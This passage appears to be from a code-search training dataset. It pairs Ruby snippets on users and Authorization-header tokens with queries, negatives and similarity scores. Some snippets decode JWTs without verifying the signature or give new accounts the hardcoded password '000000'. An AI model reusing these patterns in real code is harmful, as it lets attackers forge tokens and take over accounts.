"def create\n user = User.new(user_params)\n if user.save\n logger.info \"User Created....\"\n puts user.id\n user_id = user.id\n auth_token = AuthenticateUser.new(user.email, user.password).call()\n render json: { auth_token: auth_token.result, user_id: user.id.to_s }\n else\n render json: { error: user.errors.full_messages }, status: :not_acceptable\n end\n end",
"def user\n find_user params._id\n end",
"def get(user_id)\n User.find user_id\n end",
"def create\n if params[:via_linkedin] == false\n # create the new user instance with params from sign up form\n user = User.create(user_params)\n else\n params[:user][:password] = SecureRandom.hex\n\n # find or create the new user instance via linkedin\n user = User.where(provider: user_params[:provider], uid: user_params[:uid])\n .first_or_create(user_params)\n end\n # check the user save ok\n if user.persisted?\n # use the Knock AuthToken model to create a token for us\n render json: { jwt: auth_token(user).token, user: UserSerializer.new(user) }, status: 200\n else\n # bad request\n render json: user, status: 400\n end\n end",
"def check_user\n @user = authenticate(@campaign.user_id, request.path, nil)\n end",
"def user(*args)\n super(*args) || build_user\n end",
"def setup_user(input)\n # Create user\n ctx[:model] = User::CreationService.create(input[:params], otp_timestamp: ctx[:otp_timestamp])\n ctx[:model] ? Success(ctx[:model]) : Failure(ErrorService.bad_request_fail(message: 'Error setting up user'))\n end",
"def user\n User.new(self)\n end",
"def get_user(uri = nil, data = nil)\n\n # Return the user from the cache if available\n user = self.users[uri]\n return user if user\n\n # Get user from the JSON API and add to the cache\n #json = self.api.call(\"users/#{id_from_uri(uri)}\")\n #if json\n # user = User.new(uri, self, self.email_selector, self.ldap_lookup, json: json)\n # self.users[user.uri] = user\n # user\n #else\n # # TODO: this is a hack, just return the URI for now if the lookup fails\n # uri\n #end\n nil\n\n end",
"def call(_obj, args, ctx)\n if !Authentication::editor_is_valid(ctx) or !Authentication::admin_is_valid(ctx)\n return GraphQL::ExecutionError.new(\"Invalid user token. Please log in.\")\n end\n \n @user = User.find(args[\"id\"])\n\n # Transaction so that we don't update a malformed user\n User.transaction do\n @user.first_name = args[\"first_name\"] if args[\"first_name\"]\n @user.last_name = args[\"last_name\"] if args[\"last_name\"]\n @user.email = args[\"email\"] if args[\"email\"]\n @user.description = args[\"description\"] if args[\"description\"] \n @user.profile_picture = args[\"attachment\"] if args[\"attachment\"]\n if args[\"first_name\"] or args[\"last_name\"]\n save = \"-\" + @user.slug.split(\"-\")[-1]\n save = \"\" if save =~ /\\d/ else save\n @user.slug = args[\"first_name\"].downcase + \"-\" + args[\"last_name\"].downcase + save\n end\n role = Role.find_by(title: args[\"role\"])\n if args[\"role\"] and role != nil and [email protected]?(role)\n @user.roles << role\n end\n Authentication::generate_new_header(ctx) if @user.save!\n end\n return @user\n end",
"def authenticate_and_load_user\n authentication_token = nil\n if request.headers[\"Authorization\"]\n authentication_token = request.headers[\"Authorization\"].split[1]\n end\n if authentication_token\n user = JWT.decode(authentication_token, nil, false, algorithms: 'RS256')\n username = user[0][\"nickname\"]\n email = user[0][\"name\"]\n\n if user[0]['sub'].include? 'google-oauth2'\n email = username + '@gmail.com'\n end\n\n @current_user = User.find_by(email: email, username: username)\n if !@current_user.present?\n user = User.new(email: email, username: username, password: '000000', password_confirmation: '000000', auth_token: authentication_token)\n if user.save\n @current_user = user\n end\n end\n end\n return if @current_user.present?\n render json: {\n messages: \"Can't authenticate user\",\n is_success: false,\n data: {}\n }, status: :bad_request\n end",
"def user?(user)\n user.blank? and return false\n unless user.is_a?(UserInfo) # user is supposed to be given by its id.\n user = UserInfo.find(user.to_i)\n end\n user.is_a?(UserInfo) \n end",
"def user\r\n return @user\r\n end",
"def get\n\t\t\t\tparams.required(:id)\t\n\n\t\t\t\t# Grab the service that is trying to authenticate\n unathenticated_error unless @api_consumer.is_a? Service\n service = @api_consumer\n\n\t\t\t\t@user = service.users.find params[:id]\n\t\t\tend",
"def retrieve(user_id:)\n User.new get_request(\"users/#{user_id}\").body.dig(\"user\")\n end",
"def verify_user\n @user = User.find_by(id: params[:id]) || User.find_by(email: params[:email])\n\n return redirect_to root_path if @user.nil?\n end",
"def resolve(email:, password:)\n user = User.create!(email: email, password: password)\n { user: user }\n rescue ActiveRecord::RecordInvalid => e\n GraphQL::ExecutionError.new(\"Invalid input: #{e.record.errors.full_messages.join(', ')}\")\n # {\n # user: user,\n # errors: []\n # }\n # if user.save\n # {\n # user: user,\n # errors: []\n # }\n # else\n # {\n # user: nil,\n # errors: user.errors.full_messages\n # }\n # end\n end",
"def _user\n @_user ||= Squeeze::User.kept.find_by(email: token[:email])\n end",
"def fetch_user\n id = params[:id] || params[:user].try(:fetch,:id)\n user = User.find(params[:id])\n authorize user, :update?\n return user\n end"
] |
[
"0.744572",
"0.7437992",
"0.73741215",
"0.72116935",
"0.7151924",
"0.71000254",
"0.70625865",
"0.6977934",
"0.69714737",
"0.69445074",
"0.69377977",
"0.69258875",
"0.68736076",
"0.68653464",
"0.6830944",
"0.68221635",
"0.6803737",
"0.6787508",
"0.67854357",
"0.67505276",
"0.67418253",
"0.67287636",
"0.6677383",
"0.667353",
"0.6622078",
"0.6619213",
"0.65841883",
"0.65839124",
"0.65816313",
"0.65778416",
"0.6566369",
"0.65644985",
"0.6554172",
"0.65451247",
"0.6539066",
"0.6538558",
"0.6530121",
"0.65272915",
"0.6521729",
"0.6506077",
"0.64655596",
"0.6463303",
"0.6462114",
"0.6456505",
"0.64536",
"0.6451226",
"0.64475936",
"0.6441895",
"0.6440672",
"0.6437706",
"0.6434191",
"0.64309895",
"0.64289945",
"0.64289945",
"0.6428105",
"0.64273727",
"0.64171267",
"0.64164317",
"0.64162457",
"0.64145845",
"0.6411902",
"0.6398885",
"0.6398532",
"0.63936764",
"0.63913804",
"0.6390074",
"0.6388115",
"0.6386527",
"0.6379444",
"0.6375822",
"0.6363945",
"0.6361081",
"0.6359191",
"0.63575804",
"0.63357806",
"0.6324227",
"0.6313953",
"0.63095284",
"0.6307741",
"0.6305353",
"0.6302022",
"0.63015586",
"0.6301404",
"0.6301401",
"0.62975365",
"0.6293261",
"0.62926483",
"0.6286048",
"0.62826645",
"0.62823176",
"0.6277658",
"0.6277145",
"0.627323",
"0.6271459",
"0.62675345",
"0.6266818",
"0.625903",
"0.6258303",
"0.6255906",
"0.624837",
"0.62476176"
] |
0.0
|
-1
|
check for auth_token in `Authorization` header
|
def auth_token
return token if token.present?
false
# raise(CustomException::MissingToken, 'token is missing')
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def check_header\n !request.env[\"HTTP_X_ACCESS_TOKEN\"].nil?\n end",
"def verify_header\n # normal header like sample ==> Authorization 'ddd$$%gggrghHFDSS.HHJHTTGGR'\n if headers['Authorization'].present?\n headers['Authorization'].split(' ').last\n else\n errors.add(:token, 'Missing Token')\n nil\n end\n end",
"def verify_jwt_token\n head :unauthorized if request.headers['Authorization'].nil? ||\n !AuthToken.valid?(request.headers['Authorization'].split(' ').last)\n end",
"def authorize_request\n unless request.headers['Authorization'].present?\n render json: {message: 'Missing Token'}, status: :unauthorized\n end\n end",
"def api_authenticate\n if request.headers[\"Authorization\"].present?\n # Take the last part in The header (ignore Bearer)\n auth_header = request.headers['Authorization'].split(' ').last\n # Are we feeling alright!?\n @token_payload = decodeJWT auth_header.strip\n if !@token_payload\n render json: { error: 'The provided token wasn´t correct' }, status: :bad_request\n end\n else\n render json: { error: 'Need to include the Authorization header' }, status: :forbidden # The header isn´t present\n end\n end",
"def check_auth_token\n token = decoded_auth_token\n render json: { error: 'Not Authorized' }, status: :unauthorized unless token\n end",
"def http_auth_header\n return headers['Authorization'].split(' ').last if headers['Authorization'].present?\n\n raise(API::JWTExceptionHandler::MissingToken, APIMessages.missing_token)\n end",
"def api_authenticate\n if request.headers[\"Authorization\"].present?\n auth_header = request.headers['Authorization'].split(' ').last\n @token_payload = decodeJWT auth_header.strip\n if !@token_payload\n render json: { error: 'The provided token wasn´t correct' }, status: :bad_request \n end\n else\n render json: { error: 'Need to include the Authorization header' }, status: :forbidden # The header isn´t present\n end\n end",
"def authorization_header?\n return true if request.headers['Authorization'] && request.headers['Authorization'] != 'null'\n\n false\n end",
"def client_has_valid_token?\n request.headers[\"Authorization\"] == Rails.application.credentials.guessing_access_token\n end",
"def oauth_access_token_from_header\n auth_header = request.env[\"HTTP_AUTHORIZATION\"]||\"\"\n match = auth_header.match(/^token\\s(.*)/) || auth_header.match(/^Bearer\\s(.*)/)\n return match[1] if match.present?\n false\n end",
"def http_auth_header\n if headers['Authorization'].present?\n return headers['Authorization'].split(' ').last\n else\n errors.add(:token, 'Missing Token')\n end\n nil\n end",
"def authenticate_api_token\n if request.headers[\"Authorization\"].present?\n \n auth_header = request.headers['Authorization'].split(' ').last\n \n #try to get the data from jwt token\n @payload = decode auth_header\n \n #couldnt get data for whatever reason\n if !@payload\n render json: { error: \"Problem med autentiseringssträngen. Försök att logga in igen.\" }, status: :bad_request \n #success!\n else\n @payload\n end\n #no token was sent with header \n else\n render json: { error: \"En autentiseringssträng krävs.\"}, status: :forbidden # The header isn´t present\n end\n end",
"def http_auth_header\n if header['Authorization'].present?\n return header['Authorization'].split(' ').last\n end\n raise(ExceptionHandler::MissingToken, 'Missing_token') #should be refactored into a singleton class man \n end",
"def auth_token\n @auth_token ||= request.headers.fetch('Authorization', '').split(' ').last\n end",
"def http_auth_header\n if headers['Authorization'].present?\n return headers['Authorization'].split(' ').last\n end\n\n raise(ExceptionHandler::MissingToken, Message.missing_token)\n end",
"def valid?\n authorization_header.present? && authorization_header.match(BEARER_PATTERN) && authentication_token.present?\n end",
"def auth_header\n if token\n { \"Authorization\" => \"Bearer #{token}\" }\n else\n {}\n end\n end",
"def requesting_auth?(authorization_header)\n authorization_header || !authorization_cookie.blank?\n end",
"def auth_header\n # headers: { 'Authorization': 'Bearer <token>' }\n\n request.headers['Authorization']\n # => 'Bearer <token>'\n end",
"def auth_header # gets the authorization header from the request\n # { Authorization: 'Bearer <token>' }\n request.headers['Authorization']\n end",
"def http_auth_header\n\t \tif headers['Authorization'].present?\n\t \t\treturn headers['Authorization'].split(' ').last\n\t \tend\n\t \traise MissingToken.new(message:\"Missing token. Please provide a security token.\")\n\tend",
"def oauth_token_required\n unless oauth_token\n headers['WWW-Authenticate'] = 'Bearer'\n halt 403, 'OAuth token required'\n end\n end",
"def check_token\n @usuario = Credentials.check_token(authorization: request.headers[\"Authorization\"])\n end",
"def http_auth_header\n request.headers['Authorization'].present? ? request.headers['Authorization'].split(' ').last : nil\n end",
"def valid_token?\n env['HTTP_TOKEN']\n end",
"def auth_present?\n !!request.headers['HTTP_AUTHORIZATION'].present?\n end",
"def authenticate_token\n @is_authenticated = false\n if request.headers[\"TOKEN\"]\n if request.headers[\"TOKEN\"] == \"AppDipre\"\n @is_authenticated = true\n end\n end\n end",
"def authenticate_token\n @is_authenticated = false\n if request.headers[\"TOKEN\"]\n if request.headers[\"TOKEN\"] == \"AppDipre\"\n @is_authenticated = true\n end\n end\n end",
"def verify_access_token\n Rails.logger.debug \"====== request.headers['Authorization'] = #{request.headers['Authorization']} ======\"\n\n server = AuthorizationServer.new(Application.authorization_server,\n Application.resource_server)\n\n result, @authorized_user = server.authorize_request(request)\n Rails.logger.debug \"------ authorized_user = #{@authorized_user.inspect} ------\"\n\n # If the result is OK, proceed with the operation\n head result unless result == :ok\n end",
"def extract_header_token(env)\n BEARER_TOKEN_REGEX.match(env['HTTP_AUTHORIZATION'])&.[](1)\n end",
"def http_auth_header?; end",
"def auth_token\n\t\trequest.headers['X-AUTH-TOKEN']\n\tend",
"def auth_header\n # { Authorization: 'Bearer <token>' }\n request.headers['Authorization']\n end",
"def auth_header\n\t\t# { Authorization: 'Bearer <token>' }\n\t\trequest.headers['Authorization']\n\tend",
"def check_auth(request, response)\n # Get the value of the authorization header, and reject the request if it isn't present:\n authorization = request['Authorization']\n if authorization.nil?\n response.status = 401\n response.body = \"The 'Authorization' header is required\"\n return false\n end\n\n # Extract the authorization scheme and token from the authorization header:\n match = /^(?<scheme>Basic|Bearer)\\s+(?<token>.*)$/i.match(authorization)\n unless match\n response.status = 401\n response.body = \"The 'Authorization' doesn't match the expected regular expression\"\n return false\n end\n scheme = match[:scheme]\n token = match[:token]\n\n # Check the token:\n case scheme.downcase\n when 'basic'\n return false unless check_basic_token(response, token)\n when 'bearer'\n return false unless check_bearer_token(response, token)\n else\n response.status = 401\n response.body = \"The authentication scheme '#{scheme} isn't supported\"\n return false\n end\n\n # If we are here then authentication was successful:\n true\n end",
"def token\n request.headers['Authorization']\n end",
"def get_token\n request.headers[\"Authorization\"]\n end",
"def bearer_token\n header = request.env[\"HTTP_AUTHORIZATION\"]\n pattern = /^Bearer /\n header.gsub(pattern, \"\") if header && header.match(pattern)\n end",
"def http_auth_token\n auth_token = request.env[\"HTTP_AUTHORIZATION\"]\n auth_token.split(\" \").last if auth_token.present? && auth_token.split(\" \").first.downcase == \"bearer\"\n end",
"def token\n request.headers[\"Authorization\"]\n end",
"def header_token\n request.headers['Authorization'].split(' ').last\n end",
"def authorization_token\n @authorization_token ||= request.headers['Authorization']&.split(' ')&.last\n end",
"def authenticate_user_from_token!\n auth_token = request.headers['Authorization']\n\n if auth_token\n authenticate_with_auth_token auth_token\n # else\n # authentication_error\n end\n end",
"def verify_jwt_token\n begin\n if request.format.json?\n token = request.headers['Authorization'].split(' ').last\n decoded_token = JWT.decode token, nil, false\n @current_user = User.find(decoded_token[0][\"user_id\"])\n head :unauthorized if request.headers['Authorization'].nil? || !AuthToken.valid?(token)\n else\n authenticate_user!\n end\n rescue => exception\n head :unauthorized \n end\n end",
"def verify_auth_token\n halt 401 unless valid_user?(extracted_token)\n end",
"def api_auth\n api_response(403, \"Invalid Authorization header\") unless api_user\n end",
"def is_authorized?\n !!token && !token.expired?\n end",
"def is_authorized?\n !!token && !token.expired?\n end",
"def http_auth_token\n @http_auth_token ||= if request.headers['Authorization'].present?\n request.headers['Authorization'].split(' ').last\n end\n end",
"def verify_token\n check_auth_token(request.headers['authtoken'],params[:profile_id])\n end",
"def check_token\n input_token = request.headers['X-Auth-Token'] || params[:token]\n return unless input_token\n\n token = AuthenticationToken.find_by(token: input_token)\n return unless token\n\n # Count token usage\n token.inc(number_of_use: 1)\n # Update the updated_at because inc doesn't do it\n token.set(updated_at: Time.now.getlocal)\n\n # Sign in\n sign_in token.user\n end",
"def check_authenticate_user\n if request.headers[:token].present?\n @auth_token = AuthToken.find_by(token: request.headers[:token])\n @current_user = auth_token.user if @auth_token.present?\n unless @auth_token && @current_user\n error_response_with_obj(HTTP_UNAUTHORIZED[:code], \"Invalid Authentication token\")\n end\n else\n error_response_with_obj(HTTP_UNAUTHORIZED[:code], \"Invalid Authentication token\")\n end\n end",
"def validate_bearer_token(bearer_token)\n end",
"def authenticate_token\n render_401 if @token.blank? || [email protected]?\n end",
"def authenticate_user_from_token!\n auth_token = request.headers['Authorization']\n\n if auth_token\n authenticate_with_auth_token auth_token\n else\n authentication_error\n end\n end",
"def authenticate_user_from_token!\n auth_token = request.headers['Authorization']\n\n if auth_token\n authenticate_with_auth_token auth_token\n else\n authentication_error\n end\n end",
"def http_auth_token\n request.headers['Authorization']&.split(' ')&.last\n end",
"def http_auth_token\n @http_auth_token ||= if request.headers['Authorization'].present?\n request.headers['Authorization'].split(' ').last\n end\n end",
"def headers_with_auth(token)\n return @headers unless token\n\n headers = @headers\n headers[\"Authorization\"] = \"Bearer #{token}\"\n headers\n end",
"def http_auth_token\n\n @http_auth_token ||= if request.headers.present?\n request.headers[\"HTTP_AUTH_TOKEN\"]\n end\n end",
"def valid_for_token_auth?\n token_authenticatable? && auth_token.present? && with_authentication_hash(:token_auth, token_auth_hash)\n end",
"def authenticate_user_from_token!\n auth_token = request.headers['Authorization']\n\n if auth_token\n authenticate_with_auth_token auth_token\n else\n authenticate_error\n end\n end",
"def verify_auth_header_components headers\n auth_header = headers.find { |x| x[0] == \"Authorization\" }\n raise MalformedAuthorizationError, \"Authorization header is missing\" if auth_header.nil? || auth_header[1] == \"\"\n auth_hash = ::Signet::OAuth1.parse_authorization_header(\n auth_header[1]\n ).each_with_object({}) { |(key, val), acc| acc[key.downcase] = val; }\n\n auth_hash\n end",
"def authenticate_token\n render json: {message: \"Unauthorized\"}, status: 401 unless decode_token(bearer_token)\n end",
"def verify_auth_token\n token = params[:auth_token]\n if token.nil?\n render_json_response(400, \"Authorization token needed\")\n return\n end\n\n user = User.find_by_authentication_token(token)\n if user.nil?\n render_json_response(401, \"Bad token\")\n return\n end\n\n @user = user\n end",
"def extract_bearer_token(request)\n if request.headers['Authorization'].present?\n token = request.headers['Authorization'].split.last\n token.gsub!(/(\\'|\\\")/, '')\n token\n end\n end",
"def check_authorization\n return head :unauthorized if request.env['HTTP_CAPKEY'].nil?\n\n head :forbidden unless request.env['HTTP_CAPKEY'] == Settings.API_KEY\n end",
"def authenticated?\n @auth_token =~ /^.*$/\n end",
"def auth_header\n { 'Authorization': \"Bearer #{@auth.token}\" }.with_indifferent_access\n end",
"def auth_header\n request.headers['Authorization']\n end",
"def auth_header\n request.headers['Authorization']\n end",
"def valid_auth_token?(request_auth_token)\n Devise.secure_compare(auth_token, request_auth_token) && !auth_token_expired?\n end",
"def jwt_token_authen!\n data = jwt_verify(headers[\"Token\"])\n return error!('401 Unauthorized', 401) if data.nil?\n end",
"def token\r\n bearer = request.headers[\"HTTP_AUTHORIZATION\"]\r\n\r\n # allows our tests to pass\r\n bearer ||= request.headers[\"rack.session\"].try(:[], 'Authorization')\r\n\r\n if bearer.present?\r\n bearer.split.last\r\n else\r\n nil\r\n end\r\n end",
"def token\n bearer = request.headers[\"HTTP_AUTHORIZATION\"]\n\n # allows our tests to pass\n bearer ||= request.headers[\"rack.session\"].try(:[], 'Authorization')\n\n if bearer.present?\n bearer.split.last\n else\n nil\n end\n end",
"def token\n bearer = request.headers[\"HTTP_AUTHORIZATION\"]\n\n # allows our tests to pass\n bearer ||= request.headers[\"rack.session\"].try(:[], 'Authorization')\n\n if bearer.present?\n bearer.split.last\n else\n nil\n end\n end",
"def check_header(header)\n results = Auth.parse_header(header)\n\n assert_equal('auth', results['qop'])\n assert_equal('REALM', results['realm'])\n assert_equal('2006-03-03T17:37:10', results['nonce'])\n assert_equal('', results['opaque'])\n assert_equal('false', results['stale'])\n assert_equal('\\my\\test\\domain', results['domain'])\n end",
"def auth_header(token = nil)\n if token == nil\n # Make sure we have what we need to do this\n if OAuthToken == nil; raise ArgumentError \"Request: A token wasn't set, can't make request without a token.\", caller; end\n return { Authorization: \"Bearer #{OAuthToken}\" }\n end\n\n # Use the passed token if available\n return { Authorization: \"Bearer #{token}\"}\n end",
"def authorize_token(auth_token)\n cache_token(auth_token)\n info(true) # force a refresh\n\n authorized?\n end",
"def auth_header\n request.headers['Authorization']\n end",
"def authenticate_token\n authenticate_with_http_token do |token, options|\n token == 'ABC'\n end\n end",
"def authentication_token\n @authentication_token ||= authorization_header.gsub(BEARER_PATTERN, '')\n end",
"def verify_authenticity_token\n if auth_token_param.present?\n verify_valid_auth_token!\n else\n super\n end\n end",
"def get_token\n if params.has_key?(:token) && params[:token] != ''\n return params[:token]\n end\n return nil if !request || !request.headers\n token_response = request.headers['Authorization']\n return nil if !token_response\n token_response[/^Token (.*)/,1]\n end",
"def authorize!\n api_key = ApiKey.find_by_access_token(params[:access_token])\n head :unauthorized unless api_key\n return false\n end",
"def get_current_token\n if request.headers['Authorization'].present?\n return request.headers['Authorization'].split(' ').last\n end\n raise(ExceptionHandler::MissingToken, Message.missing_token)\n end",
"def key_check\n logger.debug \"checking authorization key \"\n unauthorized \"No authorization key provided. Please pass the API token as GET parameter named 'key'. Example: ?key=abcdef\" if params[:key].nil?\n logger.debug \"token is \" + params[:key] unless params[:key].nil?\n end",
"def check_access_token\r\n\t\t\t\ttoken = request.headers[\"X-Access-Token\"] || nil\r\n\t\t\t\t\r\n\t\t\t\tif token\r\n\t\t\t\t\tfind_token = ApiKey.find_by_access_token(token)\r\n\r\n\t\t\t\t\tif find_token.nil?\r\n\t\t\t\t\t\tinvalid_access_token\r\n\t\t\t\t\tend\r\n\t\t\t\telse\r\n\t\t\t\t\tinvalid_access_token\r\n\t\t\t\tend\r\n\t\t\tend",
"def auth_header\n request.headers['Authorization']\n end",
"def user_authorizes_token?\n params[:authorize] == '1'\n end",
"def user_authorizes_token?\n params[:authorize] == '1'\n end",
"def user_authorizes_token?\n params[:authorize] == '1'\n end",
"def http_token\n @http_token ||= if request.headers['Authorization'].present?\n request.headers['Authorization'].split(' ').last\n end\n end",
"def verify_token\n token ||= request.env['HTTP_AUTHORIZATION']\n if token.nil?\n error 401, { :error => 'Unauthorized.' }.to_json\n else\n token = token.split(' ').last unless token.nil?\n begin\n @user = verify(token)\n rescue JWT::ExpiredSignature\n error 401, { :error => 'Expired token.' }.to_json\n end\n end\n end",
"def has_token?\n api.has_token?\n end",
"def authorization_token_valid?\n id = authorization_token_content.id\n\n return false if id.nil?\n\n user = User.find_by_id id\n\n !user.nil? && user.auth_token == authorization_token\n end",
"def set_auth_header(token)\n\t\t\tActiveResource::Base.headers['Authorization'] = \"Bearer #{token}\"\n\t\t\tnil\n\t\tend",
"def check(request, response)\n auth = Http::Auth::Bearer.new(\n @realm,\n request,\n response\n )\n\n bearer_token = auth.token\n if bearer_token.blank?\n return [false, \"No 'Authorization: Bearer' header found. Either the client didn't send one, or the server is mis-configured\"]\n end\n\n principal_url = validate_bearer_token(bearer_token)\n if principal_url.blank?\n return [false, \"Bearer token was incorrect\"]\n end\n\n return [true, principal_url]\n end",
"def process_token\n if request.headers['Authorization'].present?\n begin\n token = request.headers['Authorization'].split(' ')[1]\n #jwt_payload = JWT.decode(request.headers['Authorization'].split(' ')[1], Rails.application.secrets.secret_key_base).first\n jwt_payload = JWT.decode(token, nil, false)[0]\n @current_user_id = jwt_payload['id']\n rescue JWT::ExpiredSignature, JWT::VerificationError, JWT::DecodeError\n head :unauthorized\n end\n end\n end"
] |
[
"0.79746443",
"0.79694754",
"0.7940858",
"0.7635687",
"0.7632873",
"0.7598262",
"0.7575235",
"0.7573791",
"0.7552934",
"0.7550838",
"0.7508105",
"0.7466674",
"0.7423157",
"0.74049574",
"0.7364954",
"0.73642355",
"0.7359021",
"0.72880846",
"0.72861594",
"0.72799575",
"0.7271391",
"0.7213423",
"0.7200498",
"0.71750015",
"0.717221",
"0.71673405",
"0.71651936",
"0.7161656",
"0.7161656",
"0.7123682",
"0.7122583",
"0.7121192",
"0.7102207",
"0.7102192",
"0.7097761",
"0.7097021",
"0.7090354",
"0.7083814",
"0.7079359",
"0.7072701",
"0.70706785",
"0.70677936",
"0.70546204",
"0.70519173",
"0.70250577",
"0.70143014",
"0.6983233",
"0.69480795",
"0.69480795",
"0.68970275",
"0.6885357",
"0.68753403",
"0.6865642",
"0.68631214",
"0.68623114",
"0.6859521",
"0.6859521",
"0.6857375",
"0.68381846",
"0.683014",
"0.682167",
"0.6813633",
"0.68079007",
"0.680439",
"0.6803333",
"0.6799514",
"0.6788331",
"0.67847735",
"0.6778673",
"0.67739415",
"0.67736",
"0.67736",
"0.676802",
"0.67606854",
"0.6758111",
"0.6746689",
"0.6746689",
"0.6739118",
"0.67006737",
"0.6694652",
"0.66859853",
"0.668412",
"0.6681856",
"0.6669844",
"0.66651356",
"0.6663394",
"0.66579306",
"0.66447866",
"0.6644292",
"0.6629066",
"0.6622577",
"0.6622577",
"0.6622577",
"0.6620673",
"0.66126156",
"0.66065806",
"0.6599439",
"0.6583784",
"0.6576153",
"0.6574398"
] |
0.70048237
|
46
|
added for backwards compatibility with older versions of inifile
|
def file_path
self.class.file_path
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def in_file(filename); end",
"def parse_input (input_file)\nend",
"def file_utils; end",
"def inname\n if self.proper_infilename.nil?\n return self.infile_name\n else\n return self.proper_infilename\n end\n end",
"def parse_input(input_file); end",
"def parse_input(input_file); end",
"def ino() end",
"def read(path); end",
"def load_file(file); end",
"def load(file); end",
"def file_read_opts; end",
"def file_line=(_arg0); end",
"def read(files); end",
"def read(files); end",
"def file; end",
"def file; end",
"def file; end",
"def file; end",
"def file; end",
"def file; end",
"def file; end",
"def file; end",
"def file; end",
"def file; end",
"def file; end",
"def read_file(filename); end",
"def get_infile\n uri = URI.parse(self.inputurl)\n self.infile = open(uri)\n self.proper_infilename = self.inputurl.split(/\\//).to_a[-1]\n self.save\n end",
"def file_begin(file)\n end",
"def parse_file(filename); end",
"def file=(_); end",
"def read_file(file, context); end",
"def file_options; end",
"def prepare_identities_from_files; end",
"def files; end",
"def files; end",
"def files; end",
"def files; end",
"def files; end",
"def files; end",
"def rid_by_file; end",
"def init_file; end",
"def read_in\n File.foreach(file_name).map(&:chomp)\n end",
"def load_file(filename); end",
"def load_file(filename); end",
"def in_file_location(out)\n out << \"#{@row = 1} at #{@column = 1} at #{@length}\"\n end",
"def id(source_file); end",
"def file_utils=(_arg0); end",
"def dofile(file,output)\r\n # we are using the fact that the path will be given by \\ in command line, so / is added by ruby\r\n filename=file[file.index(\"/\")+1..file.size]\r\n output.puts \"*** START: [\"+filename+\"] ***\\n\"\r\n IO.foreach(file) do |line|\r\n output.puts line.lstrip if (line=~/^\\s*import\\s+/ or line=~/from\\s+\\w+\\s+import\\s+/) and not (line=~/^\\s*#/)\r\n output.puts \"! Dynamic import !\\n\" if line=~/__import__/\r\n end\r\n output.puts \"*** END: [\"+filename+\"] ***\\n\"\r\nend",
"def for(file_or_dir); end",
"def setup\n @infile_ext = File.extname(@infile)\n file_ext_check\n true\n end",
"def file=(_arg0); end",
"def file=(_arg0); end",
"def file=(_arg0); end",
"def load\n input(@infile)\n true\n end",
"def load(file_path); end",
"def load(file_path); end",
"def internal_file_attributes; end",
"def initialize(input_file)\n\t\tsuper(input_file)\n\t\t\n\tend",
"def carve in_file, out_file, metadata\n\t\t\t\tfalse\n\t\t\tend",
"def read_files\r\n @prefixes = IO.read('prefixes.txt').split(' ')\r\n @syllables = IO.read('syllables.txt').split(' ')\r\n @postfixes = IO.read('postfixes.txt').split(' ')\r\n end",
"def file_mode\n\t\tinput_file = File.open(input_path, 'r')\n\t\t\n\t\tinput_file.each_line do |line|\n\t\t\t@input = line\n\t\t\tparse_user_input\n\t\tend\n\tend",
"def external_file_attributes=(_arg0); end",
"def file?() end",
"def read_file(absolute_path); end",
"def setup\n @expand_path = File.expand_path(@infile)\n @basename = File.basename(@expand_path)\n @infile_ext = File.extname(@infile)\n file_ext_check\n true\n end",
"def find_config(file); end",
"def process(orig_file)\n end",
"def fin; false; end",
"def file_read_opts=(_arg0); end",
"def original_filename; end",
"def read_config_file(file); end",
"def read_binary(file); end",
"def file_read_opts(context); end",
"def external_file_attributes; end",
"def access_file_name\n end",
"def reader; end",
"def read_config_file; end",
"def replaced_files; end",
"def potential_lines(filename); end",
"def defined_in?(file)\n @in_files.include?(file)\n end",
"def defined_in?(file)\n @in_files.include?(file)\n end",
"def file_path; end",
"def on_other_file; end",
"def existing_files; end",
"def read_data_file(path); end",
"def guess(file)\n super(file)\n end",
"def initialize\n @path = '/home/matt/zeppelin/zeppelin-0.7.3-bin-all/conf/shiro.ini'\n @file = inspec.file(@path)\n\n unless @file.file?\n raise Inspec::Exceptions::ResourceSkipped, \"Can't find file `#{@path}`\"\n end\n\n # Protect from invalid INI content\n begin\n @shiro = IniParse.parse(@file.content)\n \n rescue StandardError => e\n raise Inspec::Exceptions::ResourceSkipped, \"#{@file}: #{e.message}\"\n end\n end",
"def fls(file)\n end",
"def init_file=(_arg0); end",
"def load(path); end",
"def initialize(file)\n super\n @io = IRB::MagicFile.open(file)\n @external_encoding = @io.external_encoding\n end",
"def load_file( filename )\n begin\n read_in = File.new( filename, 'r' )\n rescue\n abort \"\\\"#{ filename }\\\" not found\"\n end\nend",
"def open?(filename); end",
"def read_support_file(file_path)\n File.open File.expand_path(\"../support/#{file_path}\", __FILE__), \"r:UTF-8\", &:read\nend",
"def symbols(file); end",
"def symbols(file); end",
"def file() nil; end",
"def parse(file)\n puts \"Not yet implemented\"\nend",
"def file_list\n end",
"def included_files; end",
"def load_file(file)\n\n CachedFile.reset_seq\n\n cfile = nil\n File.foreach(file) do |line|\n next if line.empty?\n next if line[0] == ?#\n\n line.chomp!\n if line[0] == ?/\n cfile = CachedFile.new line\n next unless File.exist?(line) # sorry for the creat and abandon fuss\n cfile.init_attrs\n @cfile_by_name[cfile.file] = cfile if @@fstab[cfile.dev]\n elsif line =~ /^\\d+\\s+\\d+/\n idx, len = line.split\n cfile.add_page_range idx.to_i, len.to_i\n end\n\n end # File.foreach\n self\n end"
] |
[
"0.7031829",
"0.61382467",
"0.611234",
"0.6064603",
"0.60588384",
"0.60588384",
"0.60285604",
"0.5982483",
"0.59131825",
"0.58849746",
"0.5876557",
"0.5873445",
"0.5839121",
"0.5839121",
"0.58116585",
"0.58116585",
"0.58116585",
"0.58116585",
"0.58116585",
"0.58116585",
"0.58116585",
"0.58116585",
"0.58116585",
"0.58116585",
"0.58116585",
"0.57905155",
"0.57850933",
"0.57370204",
"0.56870663",
"0.56774056",
"0.56742287",
"0.56606644",
"0.56184715",
"0.5616361",
"0.5616361",
"0.5616361",
"0.5616361",
"0.5616361",
"0.5616361",
"0.5609",
"0.55999035",
"0.55985576",
"0.5589187",
"0.5589187",
"0.5582575",
"0.5577161",
"0.5571426",
"0.5560763",
"0.5557169",
"0.555357",
"0.5551995",
"0.5551995",
"0.5551995",
"0.5546058",
"0.55374",
"0.55374",
"0.5505264",
"0.5494563",
"0.5475087",
"0.5466349",
"0.54640937",
"0.5460003",
"0.545693",
"0.5456892",
"0.5453536",
"0.5451773",
"0.54286397",
"0.5417622",
